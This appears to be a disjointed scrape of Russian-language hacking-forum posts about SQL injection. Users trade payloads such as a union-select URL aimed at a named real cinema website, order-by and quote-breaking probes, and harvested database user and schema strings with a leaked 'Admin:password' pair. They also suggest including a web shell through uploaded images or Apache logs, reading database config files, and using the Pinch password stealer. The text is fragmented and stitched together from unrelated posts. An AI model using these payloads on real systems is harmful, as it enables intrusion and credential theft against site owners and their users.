Separate names with a comma.
имееться в виду что нужно закрыть последнюю кавычку.
udman не можешь закоментировать кавычку,честно говоря никогда не встречал такого(, но действовал бы в стиле такого site.com/index?id=1'+and+'1'='2
so little shops {print in title} 4.0.27-log:[email protected]:hunt-shop Admin:password 5.1.24-rc:sporttiming@localhost:sporttiming...
File_Priv = Y Обе скули с File_priv = Y
говно мде
online game thx for Saint mssql-inj поле логина,результат в урл...
Эм????:) 7-ой Прошёль сам без хинтов....
Хинт на 7: Архив - не просто архив)))
4тый хуле =/ основная масса времени ушла на 3 лвл))
Мде ни текста ошибки,ни хрена...( Урл вообще в идеале..... Поставь "+" в конец запроса,может из за отсутсвия пробела дальнейший запрос не...
Hostings :D version():4 [img] version():4 [img] post методом оба поля уязвимы version():5.1.32-log [img] авторизация также уязвима))
group_concat() всех не выведеш
Ещё можно попытаться заинклудить шелл - например из картинки(если есть возможность залить) или из логов апача...
Всё зависит от прав ... Например если есть возможность прочитать файл конфига бд или сценарий имеющий в себе конф данные,появиться возможность...
НЕ ТОБОЙ НАЙДЕНО... Мог бы "-" поставил бы... http://forum.xakep.ru/fb.aspx?m=1483201 Возможно,нашёль и ты сам,но было выложено рание......
А разве пинч тянет пассы от icq 6.5?)))
AkyHa_MaTaTa походу прав,типо поиск по словам.... если б как-то обрезать запрос дальше...
S0ulVortex 1%') order by 1/* попробуй просто интересно,что ответит
2diznt В антибоян заглядывать надо..... 5.0.67-community:halyava_admin@localhost:halyava_catalog
http://kronverkcinema.ru/repertoire/movies/watchmen'/**/union/**/select/**/1,2,3,version(),5,6,7/* смотрим свойста имега(путь к картинке) версия...